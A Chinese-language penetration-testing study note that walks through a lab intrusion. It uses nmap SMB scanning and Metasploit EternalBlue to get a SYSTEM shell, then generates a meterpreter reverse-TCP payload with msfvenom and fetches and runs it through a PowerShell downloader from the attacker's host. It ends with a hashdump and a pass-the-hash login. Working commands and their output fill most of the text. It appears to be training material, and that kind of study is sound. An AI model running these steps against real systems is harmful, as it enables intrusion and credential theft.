渗透测试学习笔记之案例一
2024-04-06 06:14:09
0x00 前言
很久没有更新博客了，主要是因为工作很忙，写博客也太耗时间了。但是突然发现，许久不写很多东西都快生疏了。因而决定从今天起开始写一些跟渗透测试相关的文章，也可以认为是学习笔记吧，留作日后的技术积累和参考吧。
0x01 案列分析
实验环境：
- 目标靶机：10.11.1.0/24
- 攻击机：Kali Linux (10.11.0.79)
信息收集：
扫描存在smb服务的主机：
# nmap -A -p 139,445 10.11.1.1-254 -oG smb_service.txt
# cat smb_service.txt | grep -i windows | cut -d" " -f2
10.11.1.5
10.11.1.31
10.11.1.49
10.11.1.50
10.11.1.73
10.11.1.128
10.11.1.145
10.11.1.202
10.11.1.218
10.11.1.220
10.11.1.223
10.11.1.227
10.11.1.229
10.11.1.230
# cat smb_service.txt | grep -i open | cut -d" " -f2 > smb_server_all.txt扫描存在smb漏洞的主机：
# find / -name smb*vuln*.nse
/usr/share/nmap/scripts/smb-vuln-cve2009-3103.nse
/usr/share/nmap/scripts/smb-vuln-ms06-025.nse
/usr/share/nmap/scripts/smb-vuln-cve-2017-7494.nse
/usr/share/nmap/scripts/smb-vuln-ms07-029.nse
/usr/share/nmap/scripts/smb-vuln-ms17-010.nse
/usr/share/nmap/scripts/smb-vuln-conficker.nse
/usr/share/nmap/scripts/smb-vuln-ms08-067.nse
/usr/share/nmap/scripts/smb-vuln-regsvc-dos.nse
/usr/share/nmap/scripts/smb-vuln-ms10-054.nse
/usr/share/nmap/scripts/smb-vuln-ms10-061.nse
# for vul in $(find / -name smb*vuln*.nse | cut -d"/" -f 6); do nmap -v -p 139,445 --script=$vul -iL smb_server_all.txt -oN smb_vulns_$vul.txt; done
# cat smb_vulns_smb-vuln-*.txt | grep IDs:
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143漏洞利用：
检查并验证存在smb ms17-010漏洞的主机：
# cat ../scripts/smb_vulns_smb-vuln-ms17-010.nse.txt
# Nmap 7.50 scan initiated Mon Jul 3 13:57:06 2017 as: nmap -v -p 139,445 --script=smb-vuln-ms17-010.nse -iL smb_server_all.txt -oN smb_vulns_smb-vuln-ms17-010.nse.txt
Nmap scan report for 10.11.1.5
Host is up (0.24s latency).PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:50:56:89:35:AF (VMware)Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143... ...Nmap scan report for 10.11.1.220
Host is up (0.24s latency).PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:50:56:89:15:14 (VMware)Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143... ...Nmap scan report for 10.11.1.230
Host is up (0.25s latency).PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:50:56:89:5C:19 (VMware)Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Jul 3 13:57:53 2017 -- 19 IP addresses (19 hosts up) scanned in 46.85 secondsIP: 10.11.1.5 利用失败
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- GroomAllocations 12 yes Initial number of times to groom the kernel pool. GroomDelta 5 yes The amount to increase the groom count by per try. MaxExploitAttempts 3 yes The number of times to retry the exploit. ProcessName spoolsv.exe yes Process to inject payload into. RHOST yes The target address RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authenticationSMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VerifyArch true yes Check if remote architecture matches exploit Target. VerifyTarget true yes Check if remote OS matches exploit Target. Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.5
RHOST => 10.11.1.5
msf exploit(ms17_010_eternalblue) > exploit[*] Started reverse TCP handler on 10.11.0.79:4444
[*] 10.11.1.5:445 - Connecting to target for exploitation.
[+] 10.11.1.5:445 - Connection established for exploitation.
[!] 10.11.1.5:445 - Target OS selected not valid for OS indicated by SMB reply
[!] 10.11.1.5:445 - Disable VerifyTarget option to proceed manually...
[-] 10.11.1.5:445 - Unable to continue with improper OS Target.
[*] Exploit completed, but no session was created.IP: 10.11.1.230 同样地，利用失败了
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.230
RHOST => 10.11.1.230
msf exploit(ms17_010_eternalblue) > exploit[*] Started reverse TCP handler on 10.11.0.79:4444
[*] 10.11.1.230:445 - Connecting to target for exploitation.
[+] 10.11.1.230:445 - Connection established for exploitation.
[+] 10.11.1.230:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.11.1.230:445 - CORE raw buffer dump (25 bytes)
[*] 10.11.1.230:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.11.1.230:445 - 0x00000010 74 65 20 4e 20 37 36 30 30 te N 7600
[!] 10.11.1.230:445 - Target arch selected not valid for arch indicated by DCE/RPC reply
[!] 10.11.1.230:445 - Disable VerifyArch option to proceed manually...
[-] 10.11.1.230:445 - Unable to continue with improper OS Arch.
[*] Exploit completed, but no session was created.IP: 10.11.1.220 成功利用并反弹了一个shell回来
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.220
RHOST => 10.11.1.220
msf exploit(ms17_010_eternalblue) > exploit[*] Started reverse TCP handler on 10.11.0.79:4444
[*] 10.11.1.220:445 - Connecting to target for exploitation.
[+] 10.11.1.220:445 - Connection established for exploitation.
[+] 10.11.1.220:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.11.1.220:445 - CORE raw buffer dump (51 bytes)
[*] 10.11.1.220:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.11.1.220:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 10.11.1.220:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 10.11.1.220:445 - 0x00000030 6b 20 31 k 1
[+] 10.11.1.220:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.11.1.220:445 - Trying exploit with 12 Groom Allocations.
[*] 10.11.1.220:445 - Sending all but last fragment of exploit packet
[*] 10.11.1.220:445 - Starting non-paged pool grooming
[+] 10.11.1.220:445 - Sending SMBv2 buffers
[+] 10.11.1.220:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.11.1.220:445 - Sending final SMBv2 buffers.
[*] 10.11.1.220:445 - Sending last fragment of exploit packet!
[*] 10.11.1.220:445 - Receiving response from exploit packet
[+] 10.11.1.220:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.11.1.220:445 - Sending egg to corrupted connection.
[*] 10.11.1.220:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.11.0.79:4444 -> 10.11.1.220:62009) at 2017-07-04 03:08:40 -0400
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
whoami
nt authority\system后渗透利用：
在上一步中我们成功地从IP：10.11.1.220上反弹了一个shell回来，但很显然这不是一个完美的交互式的shell且不稳定可靠，那么接下来我们该怎么办呢？首先，我们想到的是获得一个功能更加强大且稳定可靠的meterpreter。
检查目标系统的操作系统版本：
C:\Windows\system32>dir c:\
dir c:\Volume in drive C has no label.Volume Serial Number is A49A-E592Directory of c:\12/27/2013 11:37 PM <DIR> Ftp Root
07/13/2009 07:20 PM <DIR> PerfLogs
12/28/2013 02:15 AM <DIR> Program Files
12/28/2013 10:03 PM <DIR> Program Files (x86)
12/27/2013 11:37 PM <DIR> temp
08/02/2012 01:59 PM <DIR> Users
12/27/2013 11:37 PM <DIR> Windows0 File(s) 0 bytes7 Dir(s) 28,860,628,992 bytes free显然目标系统是一个64位的Windows server 2008的服务器。
接下来，生成一个64位windows的meterpreter payload：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker ip> LPORT=<listen port> -f exe -a x64 --platform win -o mp_64.exe注：32位的windows的meterpreter payload：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker ip> LPORT=<listen port> -f exe -a x86 --platform win -o mp_86.exe上传meterpreter payload (mp_64.exe) 至攻击机的web目录中(/var/www/html/payload)以便目标机可以通过http链接来下载它。
重新开启一个msfconsole并开启监听。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show optionsModule options (exploit/multi/handler):Name Current Setting Required Description---- --------------- -------- -----------Payload options (windows/x64/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)LHOST yes The listen addressLPORT 4444 yes The listen portExploit target:Id Name-- ----0 Wildcard Targetmsf exploit(handler) > set LHOST 10.11.0.79
LHOST => 10.11.0.79
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > run[*] Started reverse TCP handler on 10.11.0.79:8080
[*] Starting the payload handler...利用反弹的shell创建用于下载我们准备好的meterpreter payload的powershell脚本，然后执行脚本下载payload（mp_64.exe）并执行。
c:\Users\Administrator\Desktop>echo $storageDir=$pwd > wget.ps1
echo $storageDir=$pwd > wget.ps1c:\Users\Administrator\Desktop>echo $webclient=New-Object System.Net.WebClient >>wget.ps1
echo $webclient=New-Object System.Net.WebClient >>wget.ps1c:\Users\Administrator\Desktop>echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1
echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1c:\Users\Administrator\Desktop>echo $file="mp_64.exe" >>wget.ps1
echo $file="mp_64.exe" >>wget.ps1c:\Users\Administrator\Desktop>echo $webclient.DownloadFile($url,$file) >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1c:\Users\Administrator\Desktop>type wget.ps1
type wget.ps1
$storageDir=$pwd
$webclient=New-Object System.Net.WebClient
$url="http://10.11.0.79/payload/mp_64.exe"
$file="mp_64.exe"
$webclient.DownloadFile($url,$file) c:\Users\Administrator\Desktop>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 c:\Users\Administrator\Desktop>mp_64.exe至此，我们成功地获得了一个功能强大的meterpreter，并可以很容易去dump hash为更进一步的渗透做准备。
msf exploit(handler) > exploit[*] Started reverse TCP handler on 10.11.0.79:8080
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 10.11.1.220
[*] Meterpreter session 1 opened (10.11.0.79:8080 -> 10.11.1.220:49326) at 2017-08-09 03:57:36 -0400meterpreter > help
Core Commands
=============Command Description------- -----------? Help menubackground Backgrounds the current sessionbgkill Kills a background meterpreter scriptbglist Lists running background scriptsbgrun Executes a meterpreter script as a background threadchannel Displays information or control active channelsclose Closes a channeldisable_unicode_encoding Disables encoding of unicode stringsenable_unicode_encoding Enables encoding of unicode stringsexit Terminate the meterpreter sessionget_timeouts Get the current session timeout valueshelp Help menuinfo Displays information about a Post moduleirb Drop into irb scripting modeload Load one or more meterpreter extensionsmachine_id Get the MSF ID of the machine attached to the sessionmigrate Migrate the server to another processquit Terminate the meterpreter sessionread Reads data from a channelresource Run the commands stored in a filerun Executes a meterpreter script or Post modulesessions Quickly switch to another sessionset_timeouts Set the current session timeout valuessleep Force Meterpreter to go quiet, then re-establish session.transport Change the current transport mechanismuse Deprecated alias for 'load'uuid Get the UUID for the current sessionwrite Writes data to a channelStdapi: File system Commands
============================Command Description------- -----------cat Read the contents of a file to the screencd Change directorychecksum Retrieve the checksum of a filecp Copy source to destinationdir List files (alias for ls)download Download a file or directoryedit Edit a filegetlwd Print local working directorygetwd Print working directorylcd Change local working directorylpwd Print local working directoryls List filesmkdir Make directorymv Move source to destinationpwd Print working directoryrm Delete the specified filermdir Remove directorysearch Search for filesshow_mount List all mount points/logical drivesupload Upload a file or directoryStdapi: Networking Commands
===========================Command Description------- -----------arp Display the host ARP cachegetproxy Display the current proxy configurationifconfig Display interfacesipconfig Display interfacesnetstat Display the network connectionsportfwd Forward a local port to a remote serviceresolve Resolve a set of host names on the targetroute View and modify the routing tableStdapi: System Commands
=======================Command Description------- -----------clearev Clear the event logdrop_token Relinquishes any active impersonation token.execute Execute a commandgetenv Get one or more environment variable valuesgetpid Get the current process identifiergetprivs Attempt to enable all privileges available to the current processgetsid Get the SID of the user that the server is running asgetuid Get the user that the server is running askill Terminate a processlocaltime Displays the target system's local date and timepgrep Filter processes by namepkill Terminate processes by nameps List running processesreboot Reboots the remote computerreg Modify and interact with the remote registryrev2self Calls RevertToSelf() on the remote machineshell Drop into a system command shellshutdown Shuts down the remote computersteal_token Attempts to steal an impersonation token from the target processsuspend Suspends or resumes a list of processessysinfo Gets information about the remote system, such as OSStdapi: User interface Commands
===============================Command Description------- -----------enumdesktops List all accessible desktops and window stationsgetdesktop Get the current meterpreter desktopidletime Returns the number of seconds the remote user has been idlekeyscan_dump Dump the keystroke bufferkeyscan_start Start capturing keystrokeskeyscan_stop Stop capturing keystrokesscreenshot Grab a screenshot of the interactive desktopsetdesktop Change the meterpreters current desktopuictl Control some of the user interface componentsStdapi: Webcam Commands
=======================Command Description------- -----------record_mic Record audio from the default microphone for X secondswebcam_chat Start a video chatwebcam_list List webcamswebcam_snap Take a snapshot from the specified webcamwebcam_stream Play a video stream from the specified webcamPriv: Elevate Commands
======================Command Description------- -----------getsystem Attempt to elevate your privilege to that of local system.Priv: Password database Commands
================================Command Description------- -----------hashdump Dumps the contents of the SAM databasePriv: Timestomp Commands
========================Command Description------- -----------timestomp Manipulate file MACE attributes
meterpreter > screenshot
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bca55919186bf4443840164612ce9f77:::
kevin:1106:aad3b435b51404eeaad3b435b51404ee:aef3d57f355a02297fc386630a01449e:::
robert:1110:aad3b435b51404eeaad3b435b51404ee:0d3f32016ee8a42ba768d558875d57e5:::
avfisher:1120:aad3b435b51404eeaad3b435b51404ee:ef28083240cb79a25adb4290ce6cb67b:::
MASTER$:1000:aad3b435b51404eeaad3b435b51404ee:e0a6ad80117cbe539c459dafc5291f27:::
SLAVE$:1103:aad3b435b51404eeaad3b435b51404ee:789cf984d53d9616fca933d37e974209:::
OBSERVER$:1111:aad3b435b51404eeaad3b435b51404ee:d60552ce7c9dc4fabdf0ba4e5fc46f69:::
补充：
拿到了Hash之后我们就可以进行Pass The Hash攻击了，例如，从上一步我们可以看到Administrator的NTLM hash是 aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e, 因此可以直接利用这个Hash登陆目标机器10.11.1.220:
# export SMBHASH=aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e# pth-winexe -U Administrator% //10.11.1.220 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
whoami
thinc\administratorC:\Windows\system32>0x03 小结
总结一下本案例中的渗透思路：
- 利用nmap批量扫描开放smb服务端口的主机
- 利用nmap扫描存在smb漏洞的服务主机
- 利用ms17-010验证和攻击目标主机并反弹shell
- 制作更加稳定可靠的meterpreter payload
- 利用powershell脚本下载meterpreter并执行
- 获得meterpreter为进一步渗透做准备
渗透测试学习笔记之案例一相关推荐
- 渗透测试学习笔记之案例二
0x00 前言 渗透是个持续的过程,不断地搜集信息,整理信息,以及利用信息,最终的目标就是拿到系统乃至整个网络的最高权限.在笔者看来,渗透测试与安全研究的最大不同就是前者擅长利用后者的研究成果并运用到 ...
- 渗透测试学习笔记之案例五
0x00 前言 今天这篇文章主要来分享一个在渗透测试过程中如何通过逐步收集信息并最终拿下目标主机的案例. 0x01 案例分析 实验环境: 目标靶机:10.11.1.0/24 攻击机:Kali Linu ...
- KALI LINUX渗透测试学习笔记
KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...
- kali linux 渗透测试学习笔记——被动信息收集
kali linux 渗透测试学习笔记--linux 被动信息收集 被动信息收集 被动信息收集 公开渠道可获得的信息 已公开的信息,通过互联网等渠道去获得 与目标系统不产生直接交互 不对目标访问,扫描 ...
- 渗透测试学习笔记20.11.20
目录 杂项 Kali linux Metasploitable2 (Linux) POC.EXP.Payload与Shellcode dvwa Apache cdn如何防止DDOS攻击 Kali抓包破 ...
- 渗透测试 学习笔记 思维导图
资源简介 此资源为本人自学渗透测试过程中做的一些笔记,为思维导图模式,用XMind ZEN 可打开,主要涉及到渗透测试的基本步骤,所用到的工具和渗透方法,ruby语言的简单学习,近源渗透测试的详细学习 ...
- 渗透测试学习笔记_Day1
拓展知识 APT (Advanced Package Tool,高级软件包工具)是一个打包管理 系统.APT允许使用命令行的方式,快速便捷地安装.更新.删除软件. 除了茴单以外,APT最大的优势是它可 ...
- Web渗透测试学习笔记
文章目录 第一章 信息收集 1.1域名信息 1.1.1whois查询 1.1.2备案信息查询 1.2敏感信息 1.3子域名信息 1.3.1 子域名检测工具 1.3.2搜索引擎枚举 1.3.3第三方聚合 ...
- 【Linux_Kali网络渗透测试学习笔记总结（五）】社会工程学攻击
网络渗透测试(五):社会工程学攻击 社会工程学时利用人性弱点体察,获取有价值信息的实践方法,它是一种欺骗的艺术.在缺少目标系统的必要信息时,社会工程学技术是渗透测试人员获取信息的至关重要的手段.对所有 ...
- 渗透测试学习笔记（metasploit）
METASPLOIT exploit-db.com •Metasploit就是一个漏洞框架.它的全称叫做The Metasploit Framework,简称叫做MSF.Metasploit作为全球最 ...
最新文章
- 【c语言】求最大公约数
- 取消gVim自动生成备份文件~文件
- 企业信息管理- 近期功能改善(3)
- Magento学习手记（第十天）
- spring boot入门，看这篇文章就够了
- Jquery EasyUI datagrid数据库分页
- 15.profile-api
- @action 注解
- Netflix监管者测试–引入了知事-Junit-runner
- 不再遥不可及！盘点独角兽自动驾驶战略
- svg mysql_SVG介绍
- 快捷键截屏_笔记本电脑截屏的快捷键是什么
- 关于Cocos2d-x中实例伸缩后的位置设置
- OPPO A57怎么刷机 OPPO A57的刷机教程 OPPO A57完美解除账号锁
- Java生成随机数几种方式
- Matlab 地理(经纬度)坐标 转 笛卡尔(直角)坐标
- Tensorflow 释放内存
- 微信小程序-网易云音乐
- vue使用高德地图并且绘制多边形
- 企业为什么要选择人力外包？好处与坏处